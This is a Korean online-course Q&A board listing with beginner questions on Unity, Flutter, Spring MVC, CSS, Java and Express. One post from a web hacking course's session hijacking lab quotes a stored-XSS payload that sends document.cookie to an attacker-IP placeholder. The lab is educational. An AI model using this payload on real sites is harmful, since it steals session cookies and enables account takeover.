묻고 답해요
158만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨절대강좌! 유니티 6 - TPS 게임으로 배우는 유니티 마스터클래스
[질문] Custom NavMesh Link 관련해서 궁금한게 있습니다.
안녕하세요. 현재 Custom Navmesh Link 를 이용하여양방향 이동 관련 모습을 보여주셨는데요. 특정 타입의 몬스터별로 해당 기능을 제어가 가능한지 궁금합니다. 마리오를 보면 빨간색 거북이는 언덕에서 되돌아가고 녹색 거북이는 언덕을 뛰어내려서 쫓아오잖아요. 이것처럼 타입별로 제어가 가능한지 궁금해서요.양방향일때 오르고 내리는 부분에 대해서 애니메이션처리가 가능한지 궁금합니다. 내려갈때는 raycast 등을 이용해서 fall 애니메이션을 발동시킬 수 있을거 같은데, 올라갈때는 등반애니메이션 설정이나 점프 애니메이션을 하게 할 수 있는지 궁금해서요.좋은 강의 감사합니다.
-
미해결[코드팩토리] [초급] Flutter 3.0 앱 개발 - 10개의 프로젝트로 오늘 초보 탈출!
choolcheck 강의에서 ios simulator 안됨
안녕하세요choolcheck 강의에서 안드로이드 에뮬레이터는 지도가 잘 띄워지는데 ios 시뮬레이터를 실행하면 Lexical or Preprocessor Issue (Xcode): 'Flutter/Flutter.h' file not found/Users/gang-wonbin/.pub-cache/hosted/pub.dev/geolocator_apple-2.3.9/ios/Classes/Handlers/PositionStreamHandler.h:13:8Lexical or Preprocessor Issue (Xcode): 'Flutter/Flutter.h' file not found/Users/gang-wonbin/.pub-cache/hosted/pub.dev/geolocator_apple-2.3.9/ios/Classes/Handlers/LocationServiceStreamHandler.h:13:8Lexical or Preprocessor Issue (Xcode): 'Flutter/Flutter.h' file not found/Users/gang-wonbin/.pub-cache/hosted/pub.dev/geolocator_apple-2.3.9/ios/Classes/GeolocatorPlugin.h:3:8Lexical or Preprocessor Issue (Xcode): 'Flutter/Flutter.h' file not found/Users/gang-wonbin/.pub-cache/hosted/pub.dev/geolocator_apple-2.3.9/ios/Classes/Handlers/LocationAccuracyHandler.h:13:8Could not build the application for the simulator.Error launching application on iPhone 16 Pro.에러가 뜨는데, 구글링해도 해결법이 저한테 잘 안맞아요ㅜ어떻게 해결해야할까요?
-
미해결Practical Testing: 실용적인 테스트 가이드
단위 테스트에 대한 질문 fake, h2
학습 관련 질문을 남겨주세요. 어떤 부분이 고민인지, 무엇이 문제인지 상세히 작성하면 더 좋아요!먼저 유사한 질문이 있었는지 검색해 보세요.서로 예의를 지키며 존중하는 문화를 만들어가요. 안녕하세요 테스트 코드에 대해 고민이있는 학생입니다.단위테스트에 대한 질문을 하고싶습니다! 저는 단위테스트를 h2를 이용하지않고 fake repo를 만들어서 테스트하였고 통합테스트할때는 h2를 이용해서 테스트하였는데 테스트 강의하시면서 강조하셧던 부분이 테스트하는것도 비용이다! 그래서 스프링서버를 띄우는것을 extends해서 통합하여 관리하셨던것이 굉장히 큰 도움이되었습니다. 그렇다면 단위테스트할때 fake Repo를 커스텀하는 노력만 조금 들인다면 단위 테스트에대한 속도도 더빨라질거라 생각하는데 어떻게 생각하시나요?fake repo를 만들때 list, map, set 중에 저는 map을선택하였는데 혹시 어떤것을 사용하시는지?테스트 패키지 구조를 통합, 단위 라는 패키지를따로만들어서 넣는것보다 alt + insert로 만들기 쉽게 같은공간에 단위,통합이 존재하게하면서 Test, IT 라는 네이밍으로 클래스를만들고있는데 ex) OrderServiceTest, OrderServiceIT 우빈님은 어떻게 통합과 단위 패키지구조를 설계하시는지 궁금합니다.
-
미해결실습으로 배우는 그라파나 - {{ x86-64, arm64 }}
6.4 히트맵 해석
질문 답변을 제공하지만, 강의 비용에는 Q&A는 포함되어 있지 않습니다. 다만 실습이 안되거나, 잘못된 내용의 경우는 알려주시면 가능한 빠르게 조치하겠습니다![질문 전 답변]1. 강의에서 다룬 내용과 관련된 질문인가요? [예 | 아니요]2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? [예 | 아니요]3. 질문 잘하기 법을 읽어보셨나요? [예 | 아니요](https://www.inflearn.com/blogs/1719)4. 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.[질문 하기]3분 37초쯤에서 히트맵에 대해 해석해주실 때 5ms에 가장 부합하는 데이터가 많다라고 말씀을 해주셨는데요. 히트맵으로 변환하기 전 그래프에서는 5ms(0.005)의 y축 데이터가 전체적으로 제일 적은 것 같아서.. 다시 히트맵의 색상 범례를 확인해보니 색상이 진할수록 숫자가 작은 것으로 보입니다.그래서 예시의 히트맵에서는 사실 색이 진할 수록 데이터가 적은 것을 의미하는 것 같아 보이는데.. 제 해석이 맞는 지, 강사님 설명 중에 제가 놓친 부분이 있을지 궁금합니다 !
-
미해결C# 처음부터 배우기
WPF 강의 관련 질문
안녕하세요, C# 강의를 듣는 중이고 이 강의 이후 WPF강의를 들을 예정인데 WPF강의에서는 MSSQL과 연동해서 강의를 진행하시던데 혹시 오라클로 연동해서 진행을 해도 강의 진행하는데 무리 없을까요? 입사 예정인 회사에서도 DB를 오라클로 쓴다고 들어서 오라클로 사용하고 싶은데 가능한지 궁금하네요
-
해결됨모든 개발자를 위한 HTTP 웹 기본 지식
비 연결성(connectionless) 강의에서 질문입니다~
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]여기에 질문 내용을 남겨주세요. 1) 클라이언트와 서버가 TCP 3 way handshake 연결을 진행할 때 "소켓"을 사용하는건가요? 만약 그렇다면, "소켓"이라는 게 꼭 프로토콜 계층 구조 내부에서 애플리케이션에 있는 데이터를 OS의 TCP/UDP 계층으로 옮길때만 사용되는 게 아닌건가요? 2) 클라이언트와 서버가 HTTP 프로토콜로 요청 및 응답을 진행할 때, 제일 먼저 TCP 3 way handshake을 통해 클라이언트와 서버을 먼저 연결하고 TCP 연결은 계속 연결중인 상태에서 HTTP 요청하고, HTTP 응답을 받는 것이 끝나면, 그제서야 TCP 연결이 끊어지는건가요?이게 맞다면 이러한 TCP 연결 종료를 "4 way handshake" 라고 부르는건가요?
-
미해결Azure 기초 (AZ-900)
가상머신 생성 실습 오류
실습 내용대로 가상머신을 생성하고, 3389 포트도 열었고, 비밀번호도 잘 입력했는데, 실행 오류가 발생합니다.해결법을 알려주세요.
-
해결됨파이썬으로 나만의 블로그 자동화 프로그램 만들기
ID태크와 Class 태그
안녕하세요.driver.find_element(By.CSS_SELECTOR, "#id").click()아이디 패스워드부분을 작성하실때는 #id 를 사용하시고다른 버튼 및 선택 부분은 .class를 사용하시는데 차이가 있을까요? 개발자도구에서 ID 부분에서 ID도 있지만 class도 있어서요. ID가 명시되어 있다면 ID로 하면되고 그렇지 않다면 Class를 넣어서 사용하면 될까요?
-
미해결[C#/.NET 8.0]어서와, WinForm은 처음이지?
마지막 강의 소스 코드를 실행할 때
안녕하세요. 항상 도움 받고있습니다마지막 강의 소스코드를 실행 할 때, 아래처럼 에러가 나는데 어떤 방향으로 해결하면 좋을까요? 추측하기로는 강의 초반부에 DB가져다가 쓸 때,Nuget콘솔에다가 이름이랑 패스워드등을 넣어서 코드를 생성하셨었는데요 . 그걸 안하고 소스코드를 써서 그런것아닐까싶습니다. 에러 내용:Npgsql.PostgresException: '28P01: ����� "postgres"�� password ������ �����߽��ϴ�'
-
해결됨웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩
세션 하이재킹 질문
127.0.0.1/session/session.php?session=test이것으로 rawdata.txt에날짜와 시간/ip주소/test는 잘 출력이 되었습니다.다른 웹브라우저에서 공격자id로 접속해서 다음과 같이 게시판을 작성하였으며 그때 ip주소를 어떻게 할당받는지가 궁금합니다.<script>location.href = "http://공격자ip/session/session.php?session=" + document.cookie</script>이 게시판의 내용은 rawdata.txt에 저장되지 않습니다.무엇이 잘못되었을까요?
-
미해결자바 코딩테스트 - it 대기업 유제
cpu 스케줄링
package chapter3.sol5_cpu_스케줄링; import java.util.*; public class Solution { public int[] solution(int[][] tasks) { int[] answer = new int[tasks.length]; Queue<int[]> q = new PriorityQueue<>(Comparator.comparingInt((int[] a) -> a[1]).thenComparingInt(a -> a[0])); int[] ch = new int[tasks.length]; for (int s = 0, i = 0; ; s++) { for (int j = 0; j < tasks.length; j++) { if (tasks[j][0] <= s && ch[j] == 0) { q.offer(new int[] {j, tasks[j][1]}); ch[j] = 1; } } if (!q.isEmpty()) { int[] poll = q.poll(); answer[i++] = poll[0]; s += poll[1] - 1; } if (i == tasks.length) break; } return answer; } public static void main(String[] args) { Solution T = new Solution(); System.out.println(Arrays.toString(T.solution(new int[][] {{2, 3}, {1, 2}, {8, 2}, {3, 1}, {10, 2}}))); System.out.println(Arrays.toString(T.solution(new int[][] {{5, 2}, {7, 3}, {1, 3}, {1, 5}, {2, 2}, {1, 1}}))); System.out.println( Arrays.toString(T.solution(new int[][] {{1, 2}, {2, 3}, {1, 3}, {3, 3}, {8, 2}, {1, 5}, {2, 2}, {1, 1}}))); System.out.println(Arrays.toString(T.solution(new int[][] {{999, 1000}, {996, 1000}, {998, 1000}, {999, 7}}))); } } 안녕하세요 정답 코드가 아닌 이 코드도 가능한지 궁금합니다!
-
미해결[2025년 출제기준] 웹디자인기능사 실기시험 완벽 가이드
visibility:hidden; 적용 문제
<!DOCTYPE html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>index</title> <link rel="stylesheet" href="css/style.css"> </head> <body> <div class="container"> <header> <div class="header-logo"></div> <div class="nav"></div> </header> <div class="slide"> <div> <a href="#none"><img src="images/1200-1.jpg" alt="slide-1"></a> <a href="#none"><img src="images/1200-2.jpg" alt="slide-2"></a> <a href="#none"><img src="images/1200-3.jpg" alt="slide-3"></a> </div> </div> <div class="items"> <div class="news"></div> <div class="banner"></div> <div class="shortcut"></div> </div> <footer> <div class="footer-logo"></div> <div class="copyright"> <div></div> <div></div> </div> </footer> </div> <script src="script/jquery-1.12.4.js"></script> <script src="script/custom.js"></script> </body> </html> @charset "utf-8"; body { margin: 0; } .container { margin: auto; width: 1200px; border: 1px solid #000; } header { display: flex; justify-content: space-between; } header > div { height: 100px; border: 1px solid #000; } .header-logo { width: 200px; } .nav { width: 600px; } /* slide */ .slide { position: relative; width: 1200px; height: 300px; border: 1px solid #000; } .slide > div { font-size: 0; } .slide > div > a { position: absolute; top: 0; left: 0; animation: slide 10s linear infinite; opacity: 0; } .slide > div > a:nth-child(2) { animation-delay: 3.5s; } .slide > div > a:nth-child(3) { animation-delay: 7s; } @keyframes slide { 0% { opacity: 0; visibility: hidden; } 5% { opacity: 1; } 35% { opacity: 1; } 40% { opacity: 0; } 100% { opacity: 0; } } /* slide */ .items { display: flex; } .items > div { height: 200px; border: 1px solid #000; flex:1; } footer { display: flex; } footer > div { height: 100px; border: 1px solid #000; } .footer-logo { width: 200px; } .copyright { width: 1000px; } .copyright > div { box-sizing: border-box; border: 1px solid #000; height: 50%; }현재 섹션8-5번 강의 수강중입니다.강의에서 말씀하신대로 세번째 슬라이드 사진이 투명도 0 상태로 최상위 계층에 있는 상태여서 visibility: none; 속성을 주었는데, 속성을 넣어도 다른 슬라이드 사진을 눌러도 세번째 슬라이드사진이 클릭 되는데 어떤부분이 잘못되었을까요?
-
미해결Vue 3 시작하기
로컬이 안뜹니다..
로컬 화면이 강사님과 동일하게 뜨지 않는데.. 어떻게 하면 될까요..?
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
핵심원리, MVC강의
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]핵심원리 강의에서는 스프링 컨테이너와 스프링 빈 중점으로 배웠고 appconfig를 이용해서 설계했습니다. MVC강의에서는 서블릿을 배우며 어떻게 html이 작동되는지 배웠습니다. 근데 저는 여기서 MVC는 왜 appconfig를 이용하지 않았을까라는 궁금함이 생겼고, MVC에서 핵심원리에 배웠던게 많이 나오지만 핵심원리에서 배운 복잡한 구조를 MVC에서는 사용을 안해도 되는걸까라는 의문점이 생겼습니다. 당연한 소리일 수 있겠지만 혼란스러워 질문을 드립니다. 감사합니다.
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
edit부분에서 @ModelAttribute 질문이 있습니다.
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]@PostMapping("/{itemId}/edit") public String edit(@PathVariable Long itemId, @ModelAttribute Item item) { itemRepository.update(itemId, item); return "redirect:/basic/items/{itemId}"; } @ModelAttribute Item item을 사용하게 되면 Model을 추가하는 기능과 model.addAttribute("item", item);을 자동적으로 실행한다고 배웠습니다. 그렇게 되면 모델에 담겨있던 기존 요소의 정보가 업데이트 되는게 아니라 그대로 있고, 기존의 요소를 업데이트 하려했던 item의 정보까지 추가적으로 보내지는거 아닌가요?
-
해결됨10주완성 C++ 코딩테스트 | 알고리즘 코딩테스트
3-P 코드 질문있습니다.
안녕하십니까 큰돌님 !강의 보기 전에 먼저 풀어봤습니다.http://boj.kr/07da2671b1834ef48a660cf8b6b03b08전에 벽을 세우는 문제처럼 풀면 되겠다 싶어서꽃 중심부 심을 수 있는 부분을 v 벡터에 넣고퍼뜨리고 겹치는 부분 없으면 더 해서 최솟값 비교반복하면서 visited 와 flag 초기화이런 식으로 작성했습니다. 접근 방법과 코드를 잘 작성했는지 궁금합니다.근데 백트래킹을 사용하는 것보다는 비효율적이겠죠 ??
-
미해결백엔드 애플리케이션 성능 개선하기 - 기초편
질문있습니다!!
스노우 플레이크를 통해 id값을 만들어 내는 이유가 인덱싱(타임 스탬프 순으로의 정렬)과 절대 중복될 수 없는 key 값을 만들어내서, 기존 생성API의 메커니즘인 Select(중복 여부 조건 검사) -> Insert의 방식에서 스노우 플레이크로 인해 중복이 될 수 없으니 Select 쿼리에 대한 비용을 줄이는 것으로 성능을 개선하는 방식이다. 그리고 여기에 추가로 비동기로 URL 생성을 진행했하고 클라이언트는 응답을 미리 받고, 실질적으로 Insert 쿼리를 날려 DB에 저장하는 부분은 백그라운드로 진행함으로써 Latency를 앞당기는 것으로 성능을 개선했다고 이해하면 될까요??
-
해결됨React, Node.js, MongoDB로 만드는 나만의 회사 웹사이트: 완벽 가이드
req.cookies.token == undefined 현상
logout을 해보니 400BadRequest:이미 로그아웃 됨 상태가 지속됩니다. console.log(req.cookies.token); 출력해보니 undefined 라고 출력됩니다. 쿠키를 제대로 읽지 못하는것 같은데 왜 이런 현상이 뜨는지 궁금합니다.. const express = require("express"); const router = express.Router(); const bcrypt = require("bcrypt"); const User = require("../models/User"); const axios = require("axios"); const jwt = require("jsonwebtoken"); router.post("/signup", async (req, res) => { try { const { username, password } = req.body; const existingUser = await User.findOne({ username }); if (existingUser) { return res.status(400).json({ message: "이미 존재하는 사용자입니다." }); } const hashedPassword = await bcrypt.hash(password, 10); const user = new User({ username, password: hashedPassword, }); await user.save(); res.status(201).json({ message: "회원가입이 완료되었습니다." }); } catch (error) { res.status(500).json({ message: "서버 오류가 발생했습니다." }); console.log(error); } }); router.post("/login", async (req, res) => { try { const { username, password } = req.body; const user = await User.findOne({ username }).select("+password"); //왜인지 password가 select되지 않아서 추가함 if (!user) { return res.status(401).json({ message: "존재하지 않는 사용자입니다." }); } if (!user.isActive) { return res.status(401).json({ message: "비활성화된 사용자입니다." }); } if (user.isLoggedIn == true) { return res.status(401).json({ message: "이미 접속 중인 사용자입니다." }); } const isValidPassword = await bcrypt.compare(password, user.password); //비밀번호 비교 if (!isValidPassword) { user.failedLoginAttempts += 1; user.lastLoginAttempt = new Date(); if (user.failedLoginAttempts >= 5) { user.isActive = false; //다섯번 틀리면 계정 비활성화 ㅋㅋ await user.save(); return res.status(401).json({ message: "비밀번호를 5회 이상 틀려 계정이 비활성화되었습니다.", }); } await user.save(); return res.status(401).json({ message: "비밀번호가 일치하지 않습니다.", remainingAttempts: 5 - user.failedLoginAttempts, }); } user.failedLoginAttempts = 0; user.lastLoginAttempt = new Date(); user.isLoggedIn = true; try { const response = await axios.get("https://api.ipify.org?format=json"); //공공장소 사용금지요 const ipAddress = response.data.ip; //한번 정제함 user.lastLoginIp = ipAddress; } catch (error) { console.log("IP 주소를 가져오는데 실패했습니다: ", error.message); } await user.save(); const token = jwt.sign( { userId: user._id, username: user.username }, process.env.JWT_SECRET, { expiresIn: "24h" } //토큰 만료는 24시간 ); console.log(token); //오 된다 res.cookie("token", token, { httpOnly: true, //자바스크립트에서 쿠키 접근 불가 secure: "production", //https에서만 쿠키 전송 sameSite: "strict", //같은 사이트에서만 쿠키 전송 maxAge: 24 * 60 * 60 * 1000, //24시간 }); const userWithoutPassword = user.toObject(); //구글링 해보니 이렇게 하면 문서 타입을 일반 객체로 변환할 수 있다고 한다 delete userWithoutPassword.password; //보안때문에 비밀번호는 삭제할 수 있다고 한다 res.json({ user: userWithoutPassword }); } catch (error) { console.log("서버 오류: ", error); res.status(500).json({ message: "서버 오류가 발생했습니다." }); } }); router.post("/logout", async (req, res) => { console.log(req.cookies.token); try { const token = req.cookies.token; if (!token) { return res.status(400).json({ message: "이미 로그아웃된 상태입니다." }); } try { const decoded = jwt.verify(token, process.env.JWT_SECRET); const user = await User.findById(decoded.userId); if (user) { user.isLoggedIn = false; await user.save(); } } catch (error) { console.log("토큰 검증 오류: ", error.message); } res.clearCookie("token", { httpOnly: true, secure: "production", sameSite: "strict", }); res.json({ message: "로그아웃되었습니다." }); } catch (error) { console.log("로그아웃 오류: ", error.message); res.status(500).json({ message: "서버 오류가 발생했습니다." }); } }); router.delete("/delete/:userId", async (req, res) => { try { const user = await User.findByIdAndDelete(req.params.userId); if (!user) { return res.status(404).json({ message: "사용자를 찾을 수 없습니다." }); } res.json({ message: "사용자가 성공적으로 삭제되었습니다." }); } catch (error) { res.status(500).json({ message: "서버 오류가 발생했습니다." }); } }); module.exports = router;
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
edit부분에서 @ModelAttribute 궁금한게 있습니다.
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]@PostMapping("/{itemId}/edit") public String edit(@PathVariable Long itemId, @ModelAttribute Item item) { itemRepository.update(itemId, item); return "redirect:/basic/items/{itemId}"; } @ModelAttribute Item item을 사용하게 되면 Model을 추가하는 기능과 model.addAttribute("item", item);을 자동적으로 실행한다고 배웠습니다. 그렇게 되면 모델에 담겨있던 기존 요소의 정보가 업데이트 되는게 아니라 그대로 있고, 기존의 요소를 업데이트 하려했던 item의 정보까지 추가적으로 보내지는거 아닌가요?
-
미해결[코드캠프] 부트캠프에서 만든 고농축 프론트엔드 코스
안녕하세요, 신규 강의 문의드립니다.
신규 강의가 생겨서 듣고 싶은데 쿠폰 제공 가능할까요? 메일 확인 부탁드립니다. 감사합니다.